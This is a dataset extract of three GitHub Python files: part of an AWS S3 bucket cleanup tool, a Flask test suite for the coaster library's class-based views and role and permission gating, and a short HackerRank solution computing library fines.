{self.bucket['Name']}\")\n        else:\n            self.logger.info(f\"Would disable bucket versioning for bucket {self.bucket['Name']}\")\n            self.logger.info(f\"Would disable bucket logging for bucket {self.bucket['Name']}\")\n            self.logger.info(f\"Would set bucket lifecycle to clear bucket {self.bucket['Name']}\")\n\n\ndef create_region_key(region):\n    location_map = {\n        \"north\": \"no\",\n        \"northeast\": \"ne\",\n        \"northwest\": \"nw\",\n        \"south\": \"so\",\n        \"southeast\": \"se\",\n        \"southwest\": \"sw\",\n        \"east\": \"ea\",\n        \"west\": \"we\",\n        \"central\": \"ce\"\n    }\n    region_parts = region.split(\"-\")\n\n    return f\"{region_parts[0][:2]}{location_map[region_parts[1]]}{region_parts[2]}\"\n\n\nclass S3BucketResourceService(ResourceService):\n    def __init__(self, session, recipe, account_id) -> None:\n        self.account_id = account_id\n        super().__init__(session, recipe, \"s3\", \"bucket\", True)\n\n    def get_all(self, region):\n        s3_client = self.session.create_client('s3', region)\n        response = s3_client.list_buckets()\n\n        regions = self.session.get_regions()\n\n        region_keys_array = [create_region_key(region) for region in regions]\n        region_keys = '|'.join(region_keys_array)\n\n        regex = f\"^{self.account_id}-({region_keys})-[a-zA-Z0-9]{{12,13}}$\"\n\n        resources = []\n        for bucket in response[\"Buckets\"]:\n            if re.match(regex, bucket[\"Name\"]):\n                try:\n                    # TODO: Found a race condition, if we delete the CloudFormation stacks, then the tags are removed\n                    #       from the buckets and can no longer be used as an identifier\n                    #       Could be resolved with an action that tags the resource\n                    #\n                    # bucket_name = bucket[\"Name\"]\n                    # response = s3_client.get_bucket_tagging(Bucket=bucket_name)\n                    #\n                    # for tag in response[\"TagSet\"]:\n                    #     if tag[\"Key\"] == \"aws:cloudformation:stack-id\" and self.account_id in tag[\"Value\"]:\n                    #         resources.append(S3Bucket(self.session, region, bucket))\n                    #         break\n                    resources.append(S3Bucket(self.session, region, bucket))\n                except botocore.exceptions.ClientError as e:\n                    if e.response['Error']['Code'] != 'NoSuchTagSet':\n                        raise\n\n        return resources\n","repo_name":"turbot/tdk","sub_path":"trimbot/trimbot_modules/s3_bucket.py","file_name":"s3_bucket.py","file_ext":"py","file_size_in_byte":5616,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"22"}
+{"seq_id":"25109054810","text":"\"\"\"Test classviews.\"\"\"\n# pylint: disable=comparison-with-callable\n\nimport typing as t\nimport unittest\nfrom typing import cast\n\nimport pytest\nimport sqlalchemy as sa\nfrom flask import Flask, json\nfrom flask.ctx import RequestContext\nfrom flask.typing import ResponseReturnValue\nfrom sqlalchemy.orm import Mapped\nfrom werkzeug.exceptions import Forbidden\n\nfrom coaster.app import JSONProvider\nfrom coaster.auth import add_auth_attribute\nfrom coaster.sqlalchemy import (\n    BaseIdNameMixin,\n    BaseNameMixin,\n    BaseScopedNameMixin,\n    LazyRoleSet,\n    relationship,\n)\nfrom coaster.utils import InspectableSet\nfrom coaster.views import (\n    ClassView,\n    InstanceLoader,\n    ModelView,\n    UrlChangeCheck,\n    UrlForView,\n    current_view,\n    render_with,\n    requestargs,\n    requestform,\n    requires_permission,\n    requires_roles,\n    route,\n    viewdata,\n)\n\nfrom .conftest import Model, db, sqlalchemy_uri\n\napp = Flask(__name__)\napp.json = JSONProvider(app)\napp.testing = True\napp.config['SQLALCHEMY_DATABASE_URI'] = sqlalchemy_uri()\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\ndb.init_app(app)\n\n\n# --- Models ---------------------------------------------------------------------------\n\n\nclass ViewDocument(BaseNameMixin, Model):\n    __tablename__ = 'view_document'\n    __roles__ = {'all': {'read': {'name', 'title'}}}\n\n    def permissions(\n        self, actor: t.Optional[str], inherited: t.Optional[t.Set[str]] = None\n    ) -> t.Set[str]:\n        perms = super().permissions(actor, inherited)\n        perms.add('view')\n        if actor in (\n            'this-is-the-owner',\n            'this-is-the-editor',\n        ):  # Our hack of a user object, for testing\n            perms.add('edit')\n            perms.add('delete')\n        return perms\n\n    def roles_for(\n        self, actor: t.Optional[str] = None, anchors: t.Sequence[t.Any] = ()\n    ) -> LazyRoleSet:\n        roles = super().roles_for(actor, anchors)\n        if actor in ('this-is-the-owner', 'this-is-another-owner'):\n            roles.add('owner')\n        return roles\n\n\nclass ScopedViewDocument(BaseScopedNameMixin, Model):\n    __tablename__ = 'scoped_view_document'\n    parent_id: Mapped[int] = sa.orm.mapped_column(\n        sa.ForeignKey('view_document.id'), nullable=False\n    )\n    view_document: Mapped[ViewDocument] = relationship(\n        ViewDocument, backref=sa.orm.backref('children', cascade='all, delete-orphan')\n    )\n    parent = sa.orm.synonym('view_document')\n\n    __roles__ = {'all': {'read': {'name', 'title', 'doctype'}}}\n\n    @property\n    def doctype(self) -> str:\n        return 'scoped-doc'\n\n\nclass RenameableDocument(BaseIdNameMixin, Model):\n    __tablename__ = 'renameable_document'\n    __uuid_primary_key__ = (\n        False  # So that we can get consistent `1-<name>` url_name in tests\n    )\n    __roles__ = {'all': {'read': {'name', 'title'}}}\n\n\n# --- Views ----------------------------------------------------------------------------\n\n\n@route('/')\nclass IndexView(ClassView):\n    \"\"\"Test ClassView.\"\"\"\n\n    @route('')\n    @viewdata(title=\"Index\")\n    def index(self) -> str:\n        return 'index'\n\n    @viewdata(title=\"Page\")\n    @route('page')\n    def page(self) -> str:\n        return 'page'\n\n    @route('current_view')\n    def current_view_is_self(self) -> str:\n        return str(current_view == self)\n\n    @route('current_view/current_handler_is_self')\n    def current_handler_is_self(self) -> str:\n        return str(current_view.current_handler.name == 'current_handler_is_self')\n\n    @route('current_view/current_handler_is_wrapper')\n    def current_handler_is_wrapper(self) -> str:\n        # pylint: disable=comparison-with-callable\n        return str(current_view.current_handler == self.current_handler_is_wrapper)\n\n    @route('view_args/<one>/<two>')\n    def view_args_are_received(self, **kwargs) -> str:\n        # pylint: disable=consider-using-f-string\n        return '{one}/{two}'.format(**self.view_args)\n\n\nIndexView.init_app(app)\n\n\n@route('/doc/<name>')\nclass DocumentView(ClassView):\n    \"\"\"Test ClassView for ViewDocument.\"\"\"\n\n    @route('')\n    @render_with(json=True)\n    def view(self, name):\n        document = ViewDocument.query.filter_by(name=name).first_or_404()\n        return document.current_access()\n\n    @route('edit', methods=['POST'])  # Maps to /doc/<name>/edit\n    @route('/edit/<name>', methods=['POST'])  # Maps to /edit/<name>\n    @route('', methods=['POST'])  # Maps to /doc/<name>\n    @requestform('title')\n    def edit(self, name, title):\n        document = ViewDocument.query.filter_by(name=name).first_or_404()\n        document.title = title\n        return 'edited!'\n\n\nDocumentView.init_app(app)\n\n\nclass BaseView(ClassView):\n    \"\"\"Test ClassView base class.\"\"\"\n\n    @route('')\n    @viewdata(title=\"First\")\n    def first(self) -> str:\n        return 'first'\n\n    @viewdata(title=\"Second\")\n    @route('second')\n    def second(self) -> str:\n        return 'second'\n\n    @route('third')\n    def third(self) -> str:\n        return 'third'\n\n    @route('inherited')\n    def inherited(self) -> str:\n        return 'inherited'\n\n    @route('also-inherited')\n    def also_inherited(self) -> str:\n        return 'also_inherited'\n\n    def latent_route(self) -> str:\n        return 'latent-route'\n\n\n@route('/subclasstest')\nclass SubView(BaseView):\n    \"\"\"Test subclass of a ClassView.\"\"\"\n\n    @viewdata(title=\"Still first\")\n    @BaseView.first.reroute\n    def first(self):\n        return 'rerouted-first'\n\n    @route('2')\n    @BaseView.second.reroute\n    @viewdata(title=\"Not still second\")\n    def second(self):\n        return 'rerouted-second'\n\n    def third(self):\n        return 'removed-third'\n\n\nSubView.add_route_for('also_inherited', '/inherited')\nSubView.add_route_for('also_inherited', 'inherited2', endpoint='just_also_inherited')\nSubView.add_route_for('latent_route', 'latent')\nSubView.init_app(app)\n\n\n@route('/secondsub')\nclass AnotherSubView(BaseView):\n    \"\"\"Test second subclass of a ClassView.\"\"\"\n\n    @route('2-2')\n    @BaseView.second.reroute\n    def second(self):\n        return 'also-rerouted-second'\n\n\nAnotherSubView.init_app(app)\n\n\n@route('/model/<document>')\nclass ModelDocumentView(UrlForView, InstanceLoader, ModelView):\n    \"\"\"Test ModelView.\"\"\"\n\n    model = ViewDocument\n    route_model_map = {'document': 'name'}\n\n    @requestargs('access_token')\n    def before_request(\n        self, access_token: t.Optional[str] = None\n    ) -> t.Optional[ResponseReturnValue]:\n        if access_token == 'owner-admin-secret':  # nosec\n            add_auth_attribute('permissions', InspectableSet({'siteadmin'}))\n            add_auth_attribute(\n                'user', 'this-is-the-owner'\n            )  # See ViewDocument.permissions\n        if access_token == 'owner-secret':  # nosec\n            add_auth_attribute(\n                'user', 'this-is-the-owner'\n            )  # See ViewDocument.permissions\n        return super().before_request()\n\n    @route('')\n    @render_with(json=True)\n    def view(self):\n        return self.obj.current_access()\n\n    @route('edit', methods=['GET', 'POST'])\n    @route('', methods=['PUT'])\n    @requires_permission('edit')\n    def edit(self):\n        return 'edit-called'\n\n\nViewDocument.views.main = ModelDocumentView\nModelDocumentView.init_app(app)\n\n\n@route('/model/<parent>/<document>')\nclass ScopedDocumentView(ModelDocumentView):\n    \"\"\"Test subclass of a ModelView.\"\"\"\n\n    model = ScopedViewDocument  # type: ignore[assignment]\n    route_model_map = {'document': 'name', 'parent': 'parent.name'}\n\n\nScopedViewDocument.views.main = ScopedDocumentView\nScopedDocumentView.init_app(app)\n\n\n@route('/rename/<document>')\nclass RenameableDocumentView(UrlChangeCheck, UrlForView, InstanceLoader, ModelView):\n    \"\"\"Test ModelView for a document that will auto-redirect if the URL changes.\"\"\"\n\n    model = RenameableDocument\n    route_model_map = {'document': 'url_name'}\n\n    @route('')\n    @render_with(json=True)\n    def view(self):\n        return self.obj.current_access()\n\n\nRenameableDocument.views.main = RenameableDocumentView\nRenameableDocumentView.init_app(app)\n\n\n@route('/multi/<doc1>/<doc2>')\nclass MultiDocumentView(UrlForView, ModelView):\n    \"\"\"Test ModelView that has multiple documents.\"\"\"\n\n    model = ViewDocument\n    route_model_map = {'doc1': 'name', 'doc2': '**doc2.url_name'}\n\n    def loader(self, doc1: str, doc2: str) -> t.Tuple[ViewDocument, RenameableDocument]:\n        obj1 = ViewDocument.query.filter_by(name=doc1).first_or_404()\n        obj2 = RenameableDocument.query.filter_by(url_name=doc2).first_or_404()\n        return (obj1, obj2)\n\n    @route('')\n    @requires_permission('view')\n    def linked_view(self):\n        return self.obj[0].url_for('linked_view', doc2=self.obj[1])\n\n\nMultiDocumentView.init_app(app)\n\n\n@route('/gated/<document>')\nclass GatedDocumentView(UrlForView, InstanceLoader, ModelView):\n    \"\"\"Test ModelView that has an intercept in before_request.\"\"\"\n\n    model = ViewDocument\n    route_model_map = {'document': 'name'}\n\n    @requestargs('access_token')\n    def before_request(\n        self, access_token: t.Optional[str] = None\n    ) -> t.Optional[ResponseReturnValue]:\n        if access_token == 'owner-secret':  # nosec\n            add_auth_attribute(\n                'user', 'this-is-the-owner'\n            )  # See ViewDocument.permissions\n        if access_token == 'editor-secret':  # nosec\n            add_auth_attribute(\n                'user', 'this-is-the-editor'\n            )  # See ViewDocument.permissions\n        if access_token == 'another-owner-secret':  # nosec\n            add_auth_attribute(\n                'user', 'this-is-another-owner'\n            )  # See ViewDocument.permissions\n        return super().before_request()\n\n    @route('perm')\n    @requires_permission('edit')\n    def by_perm(self):\n        return 'perm-called'\n\n    @route('role')\n    @requires_roles({'owner'})\n    def by_role(self):\n        return 'role-called'\n\n    @route('perm-role')\n    @requires_permission('edit')\n    @requires_roles({'owner'})\n    def by_perm_role(self):\n        return 'perm-role-called'\n\n    @route('role-perm')\n    @requires_roles({'owner'})\n    @requires_permission('edit')\n    def by_role_perm(self):\n        return 'role-perm-called'\n\n\nViewDocument.views.gated = GatedDocumentView\nGatedDocumentView.init_app(app)\n\n\n# --- Tests ----------------------------------------------------------------------------\n\n\nclass TestClassView(unittest.TestCase):\n    \"\"\"Tests for ClassView and ModelView.\"\"\"\n\n    app = app\n    ctx: RequestContext\n\n    def setUp(self) -> None:\n        self.ctx = cast(RequestContext, self.app.test_request_context())\n        self.ctx.push()\n        db.create_all()\n        self.session = db.session\n        self.client = self.app.test_client()\n\n    def tearDown(self) -> None:\n        self.session.rollback()\n        db.drop_all()\n        self.ctx.pop()\n\n    def test_index(self) -> None:\n        \"\"\"Test index view (/)\"\"\"\n        rv = self.client.get('/')\n        assert rv.data == b'index'\n\n    def test_page(self) -> None:\n        \"\"\"Test page view (/page)\"\"\"\n        rv = self.client.get('/page')\n        assert rv.data == b'page'\n\n    def test_current_view(self) -> None:\n        rv = self.client.get('/current_view')\n        assert rv.data == b'True'\n\n    def test_current_handler_is_self(self) -> None:\n        rv = self.client.get('/current_view/current_handler_is_self')\n        assert rv.data == b'True'\n\n    def test_current_handler_is_wrapper(self) -> None:\n        rv = self.client.get('/current_view/current_handler_is_wrapper')\n        assert rv.data == b'True'\n\n    def test_view_args_are_received(self) -> None:\n        rv = self.client.get('/view_args/one/two')\n        assert rv.data == b'one/two'\n        rv = self.client.get('/view_args/three/four')\n        assert rv.data == b'three/four'\n\n    def test_document_404(self) -> None:\n        \"\"\"Test 404 response from within a view\"\"\"\n        rv = self.client.get('/doc/this-doc-does-not-exist')\n        assert rv.status_code == 404  # This 404 came from DocumentView.view\n\n    def test_document_view(self) -> None:\n        \"\"\"Test document view (loaded from database)\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        rv = self.client.get('/doc/test1')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'test1'\n        assert data['title'] == \"Test\"\n\n    def test_document_edit(self) -> None:\n        \"\"\"POST handler shares URL with GET handler but is routed to correctly\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        self.client.post('/doc/test1/edit', data={'title': \"Edit 1\"})\n        assert doc.title == \"Edit 1\"\n        self.client.post('/edit/test1', data={'title': \"Edit 2\"})\n        assert doc.title == \"Edit 2\"\n        self.client.post('/doc/test1', data={'title': \"Edit 3\"})\n        assert doc.title == \"Edit 3\"\n\n    def test_callable_view(self) -> None:\n        \"\"\"View handlers are callable as regular methods\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        rv = DocumentView().view('test1')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'test1'\n        assert data['title'] == \"Test\"\n\n        rv = DocumentView().edit('test1', \"Edited\")\n        assert rv == 'edited!'\n        assert doc.title == \"Edited\"\n\n    def test_rerouted(self) -> None:\n        \"\"\"Subclass replaces view handler\"\"\"\n        rv = self.client.get('/subclasstest')\n        assert rv.data != b'first'\n        assert rv.data == b'rerouted-first'\n        assert rv.status_code == 200\n\n    def test_rerouted_with_new_routes(self) -> None:\n        \"\"\"Subclass replaces view handler and adds new routes\"\"\"\n        rv = self.client.get('/subclasstest/second')\n        assert rv.data != b'second'\n        assert rv.data == b'rerouted-second'\n        assert rv.status_code == 200\n        rv = self.client.get('/subclasstest/2')\n        assert rv.data != b'second'\n        assert rv.data == b'rerouted-second'\n        assert rv.status_code == 200\n\n    def test_unrouted(self) -> None:\n        \"\"\"Subclass removes a route from base class\"\"\"\n        rv = self.client.get('/subclasstest/third')\n        assert rv.data != b'third'\n        assert rv.data != b'unrouted-third'\n        assert rv.status_code == 404\n\n    def test_inherited(self) -> None:\n        \"\"\"Subclass inherits a view from the base class without modifying it\"\"\"\n        rv = self.client.get('/subclasstest/inherited')\n        assert rv.data == b'inherited'\n        assert rv.status_code == 200\n\n    def test_added_routes(self) -> None:\n        \"\"\"Subclass adds more routes to a base class's view handler\"\"\"\n        rv = self.client.get('/subclasstest/also-inherited')  # From base class\n        assert rv.data == b'also_inherited'\n        rv = self.client.get('/subclasstest/inherited2')  # Added in sub class\n        assert rv.data == b'also_inherited'\n        rv = self.client.get('/inherited')  # Added in sub class\n        assert rv.data == b'also_inherited'\n        rv = self.client.get('/subclasstest/latent')\n        assert rv.data == b'latent-route'\n\n    def test_cant_route_missing_method(self) -> None:\n        \"\"\"Routes can't be added for missing attributes\"\"\"\n        with pytest.raises(AttributeError):\n            SubView.add_route_for('this_method_does_not_exist', '/missing')\n\n    def test_second_subview_reroute(self) -> None:\n        \"\"\"Using reroute does not mutate the base class\"\"\"\n        rv = self.client.get('/secondsub/second')\n        assert rv.data != b'second'\n        assert rv.data == b'also-rerouted-second'\n        assert rv.status_code == 200\n        rv = self.client.get('/secondsub/2-2')\n        assert rv.data != b'second'\n        assert rv.data == b'also-rerouted-second'\n        assert rv.status_code == 200\n        # Confirm we did not accidentally acquire this from SubView's use of reroute\n        rv = self.client.get('/secondsub/2')\n        assert rv.status_code == 404\n\n    def test_endpoints(self) -> None:\n        \"\"\"View handlers get endpoints reflecting where they are\"\"\"\n        assert IndexView.index.endpoints == {'IndexView_index'}\n        assert IndexView.page.endpoints == {'IndexView_page'}\n        assert BaseView.first.endpoints == set()\n        assert SubView.first.endpoints == {'SubView_first'}\n        assert BaseView.second.endpoints == set()\n        assert SubView.second.endpoints == {'SubView_second'}\n        assert AnotherSubView.second.endpoints == {'AnotherSubView_second'}\n        assert BaseView.inherited.endpoints == set()\n        assert SubView.inherited.endpoints == {'SubView_inherited'}\n        assert BaseView.also_inherited.endpoints == set()\n        assert SubView.also_inherited.endpoints == {\n            'SubView_also_inherited',\n            'just_also_inherited',\n        }\n\n    def test_viewdata(self) -> None:\n        \"\"\"View handlers can have additional data fields\"\"\"\n        assert IndexView.index.data['title'] == \"Index\"\n        assert IndexView.page.data['title'] == \"Page\"\n        assert BaseView.first.data['title'] == \"First\"\n        assert BaseView.second.data['title'] == \"Second\"\n        assert SubView.first.data['title'] == \"Still first\"\n        assert (\n            SubView.second.data['title'] != \"Not still second\"\n        )  # Reroute took priority\n        assert SubView.second.data['title'] == \"Second\"\n\n    def test_viewlist(self) -> None:\n        assert IndexView.__views__ == {\n            'current_handler_is_self',\n            'current_handler_is_wrapper',\n            'current_view_is_self',\n            'index',\n            'page',\n            'view_args_are_received',\n        }\n\n    def test_modelview_instanceloader_view(self) -> None:\n        \"\"\"Test document view in ModelView with InstanceLoader\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        rv = self.client.get('/model/test1')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'test1'\n        assert data['title'] == \"Test\"\n\n    def test_modelview_instanceloader_requires_permission_edit(self) -> None:\n        \"\"\"Test document edit in ModelView with InstanceLoader and requires_permission\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        rv = self.client.post('/model/test1/edit')\n        assert rv.status_code == 403\n        rv = self.client.post('/model/test1/edit?access_token=owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'edit-called'\n        rv = self.client.post('/model/test1/edit?access_token=owner-admin-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'edit-called'\n\n    def test_modelview_url_for(self) -> None:\n        \"\"\"Test that ModelView provides model.is_url_for with appropriate parameters\"\"\"\n        doc1 = ViewDocument(name='test1', title=\"Test 1\")\n        doc2 = ViewDocument(name='test2', title=\"Test 2\")\n\n        assert doc1.url_for('view') == '/model/test1'\n        assert doc2.url_for('view') == '/model/test2'\n\n    def test_scopedmodelview_view(self) -> None:\n        \"\"\"Test that InstanceLoader in a scoped model correctly loads parent\"\"\"\n        doc = ViewDocument(name='test1', title=\"Test 1\")\n        sdoc = ScopedViewDocument(name='test2', title=\"Test 2\", parent=doc)\n        self.session.add_all([doc, sdoc])\n        self.session.commit()\n\n        rv = self.client.get('/model/test1/test2')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'test2'\n        assert data['doctype'] == 'scoped-doc'\n\n        # The joined load actually worked\n        rv = self.client.get('/model/this-doc-does-not-exist/test2')\n        assert rv.status_code == 404\n\n    def test_redirectablemodel_view(self) -> None:\n        doc = RenameableDocument(name='test1', title=\"Test 1\")\n        self.session.add(doc)\n        self.session.commit()\n\n        rv = self.client.get('/rename/1-test1')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'test1'\n\n        doc.name = 'renamed'\n        self.session.commit()\n\n        rv = self.client.get('/rename/1-test1')\n        assert rv.status_code == 302\n        assert rv.location == 'http://localhost/rename/1-renamed'\n\n        rv = self.client.get('/rename/1-test1?preserve=this')\n        assert rv.status_code == 302\n        assert rv.location == 'http://localhost/rename/1-renamed?preserve=this'\n\n        rv = self.client.get('/rename/1-test1?utf-8=✓')\n        assert rv.status_code == 302\n        # UTF-8 query parameters will be encoded by urlunsplit. There does not appear\n        # to be a way to disable this.\n        assert rv.location == 'http://localhost/rename/1-renamed?utf-8=%E2%9C%93'\n\n        rv = self.client.get('/rename/1-renamed')\n        assert rv.status_code == 200\n        data = json.loads(rv.data)\n        assert data['name'] == 'renamed'\n\n    def test_multi_view(self) -> None:\n        \"\"\"\n        A ModelView view can handle multiple objects and also construct URLs\n        for objects that do not have a well defined relationship between each other.\n        \"\"\"\n        doc1 = ViewDocument(name='test1', title=\"Test 1\")\n        doc2 = RenameableDocument(name='test2', title=\"Test 2\")\n        self.session.add_all([doc1, doc2])\n        self.session.commit()\n\n        rv = self.client.get('/multi/test1/1-test2')\n        assert rv.status_code == 200\n        assert rv.data == b'/multi/test1/1-test2'\n\n    def test_registered_views(self) -> None:\n        doc1 = ViewDocument(name='test1', title=\"Test 1\")\n        doc2 = ScopedViewDocument(name='test2', title=\"Test 2\", parent=doc1)\n        doc3 = RenameableDocument(name='test3', title=\"Test 3\")\n        self.session.add_all([doc1, doc2, doc3])\n        self.session.commit()\n\n        assert ViewDocument.views.main is ModelDocumentView\n        assert ScopedViewDocument.views.main is ScopedDocumentView\n        assert RenameableDocument.views.main is RenameableDocumentView\n\n        assert isinstance(doc1.views.main(), ModelDocumentView)\n        assert isinstance(doc2.views.main(), ScopedDocumentView)\n        assert isinstance(doc3.views.main(), RenameableDocumentView)\n\n    def test_view_for(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        assert doc.classview_for() == ModelDocumentView(doc)\n        assert doc.classview_for('edit') == ModelDocumentView(doc)\n        assert doc.classview_for('by_perm') == GatedDocumentView(doc)\n\n        # doc.view_for() returns the view handler. Calling it with\n        # _render=False will disable the @render_with wrapper.\n        assert dict(doc.view_for()(_render=False)) == {\n            'name': doc.name,\n            'title': doc.title,\n        }\n\n        # Calling the 'edit' view will abort with a Forbidden as we have\n        # not granted any access rights in the request context\n        with pytest.raises(Forbidden):\n            doc.view_for('edit')()\n\n    def test_requires_roles_layered1(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # All four gates refuse access without appropriate\n        # permission or role\n        rv = self.client.get('/gated/test1/perm')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/role')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/perm-role')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/role-perm')\n        assert rv.status_code == 403\n\n    def test_requires_roles_layered2(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # All four gates grant access if we have 'owner' role\n        # with 'edit' permission\n        rv = self.client.get('/gated/test1/perm?access_token=owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'perm-called'\n        rv = self.client.get('/gated/test1/role?access_token=owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'role-called'\n        rv = self.client.get('/gated/test1/perm-role?access_token=owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'perm-role-called'\n        rv = self.client.get('/gated/test1/role-perm?access_token=owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'role-perm-called'\n\n    def test_requires_roles_layered3(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # Now we are 'owner' but without 'edit' permission\n        # Only one goes through\n        rv = self.client.get('/gated/test1/perm?access_token=another-owner-secret')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/role?access_token=another-owner-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'role-called'\n        rv = self.client.get('/gated/test1/perm-role?access_token=another-owner-secret')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/role-perm?access_token=another-owner-secret')\n        assert rv.status_code == 403\n\n    def test_requires_roles_layered4(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # Finally, we have 'edit' permission but without 'owner' role\n        rv = self.client.get('/gated/test1/perm?access_token=editor-secret')\n        assert rv.status_code == 200\n        assert rv.data == b'perm-called'\n        rv = self.client.get('/gated/test1/role?access_token=editor-secret')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/perm-role?access_token=editor-secret')\n        assert rv.status_code == 403\n        rv = self.client.get('/gated/test1/role-perm?access_token=editor-secret')\n        assert rv.status_code == 403\n\n    def test_is_available(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # The default view has no requires_* decorators\n        # and so is always available.\n        assert doc.view_for().is_available() is True\n\n        # The four gated views are all not available\n        assert doc.view_for('by_perm').is_available() is False\n        assert doc.view_for('by_role').is_available() is False\n        assert doc.view_for('by_perm_role').is_available() is False\n        assert doc.view_for('by_role_perm').is_available() is False\n\n    def test_class_is_available(self) -> None:\n        doc = ViewDocument(name='test1', title=\"Test\")\n        self.session.add(doc)\n        self.session.commit()\n\n        # First, confirm we're working with the correct view\n        assert isinstance(doc.views.main(), ModelDocumentView)\n        assert isinstance(doc.views.gated(), GatedDocumentView)\n\n        # Since ModelDocumentView.view is not gated, ModelDocumentView is always\n        # available. This is not the case for GatedDocumentView\n        assert doc.views.main().is_always_available is True\n        assert doc.views.main().is_available() is True\n        assert doc.views.gated().is_always_available is False\n        assert doc.views.gated().is_available() is False\n\n        # If we add access permissions, the availability changes\n        add_auth_attribute('user', 'this-is-the-owner')  # See ViewDocument.permissions\n        assert doc.views.gated().is_available() is True\n\n    def test_classview_equals(self) -> None:\n        # ClassView implements __eq__ that is not fooled by subclasses\n        assert BaseView() == BaseView()\n        assert SubView() == SubView()\n        assert BaseView() != SubView()\n        assert SubView() != BaseView()\n\n        doc1 = ViewDocument(name='test1', title=\"Test 1\")\n        doc2 = ViewDocument(name='test2', title=\"Test 2\")\n\n        # ModelView implements __eq__ that extends ClassView's by also comparing the object\n        assert ModelDocumentView(obj=doc1) == ModelDocumentView(obj=doc1)\n        assert ModelDocumentView(obj=doc1) != ModelDocumentView(obj=doc2)\n\n        # Note: while ScopedDocumentView handles ScopedViewDocument and not ViewDocument,\n        # there is no type check in __init__, so the constructor will pass. We want __eq__\n        # to catch a mismatch here. This test will break if ModelView introduces type\n        # safety checks, and will need amending then.\n        assert ModelDocumentView(obj=doc1) != ScopedDocumentView(obj=doc1)\n        assert ScopedDocumentView(obj=doc1) != ModelDocumentView(obj=doc1)\n\n    def test_url_dict_current_roles(self) -> None:\n        doc1 = ViewDocument(name='test1', title=\"Test 1\")\n        assert set(doc1.urls) == {\n            'view',  # From ModelDocumentView\n            'edit',  # From ModelDocumentView\n            'by_perm',  # From GatedDocumentView (`urls` can't handle permission gating)\n        }\n        # Adding acess permissions changes the URLs available\n        add_auth_attribute('user', 'this-is-the-owner')  # See ViewDocument.permissions\n        assert set(doc1.urls) == {\n            # From ModelDocumentView\n            'view',\n            'edit',\n            # From GatedDocumentView\n            'by_perm',\n            'by_role_perm',\n            'by_perm_role',\n            'by_role',\n        }\n","repo_name":"hasgeek/coaster","sub_path":"tests/coaster_tests/views_classview_test.py","file_name":"views_classview_test.py","file_ext":"py","file_size_in_byte":29783,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"22"}
+{"seq_id":"37822115940","text":"l1 = []\nfor x in range(2):\n    l1.append(str(input()).split(\" \"))\nd1 = int(l1[0][0]) # Day returned\nm1 = int(l1[0][1]) # Month returned\ny1 = int(l1[0][2]) # Year returned\n\ndd1 = int(l1[1][0]) # Due day\nmm1 = int(l1[1][1]) # Due month\nyy1 = int(l1[1][2]) # Due year\n\nif (y1 > yy1):\n    print(\"10000\")\n    exit()\nelif (y1 < yy1):\n    print(\"0\")\nelse:\n    if (d1 == dd1) and (m1 == mm1) and (yy1 == y1):\n        print(\"0\")\n    elif (d1 < dd1) and (m1 < mm1):\n        print(\"0\")\n    elif (d1 <= dd1) and (m1 <= mm1):\n        print(\"0\")\n    elif (m1 > mm1):\n        print(500 * (m1 - mm1))\n    elif (d1 > dd1) and (m1 == mm1):\n        print(15 * (d1 - dd1))","repo_name":"outlaw6/HackerRank","sub_path":"HackerRank Day26.py","file_name":"HackerRank Day26.py","file_ext":"py","file_size_in_byte":652,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
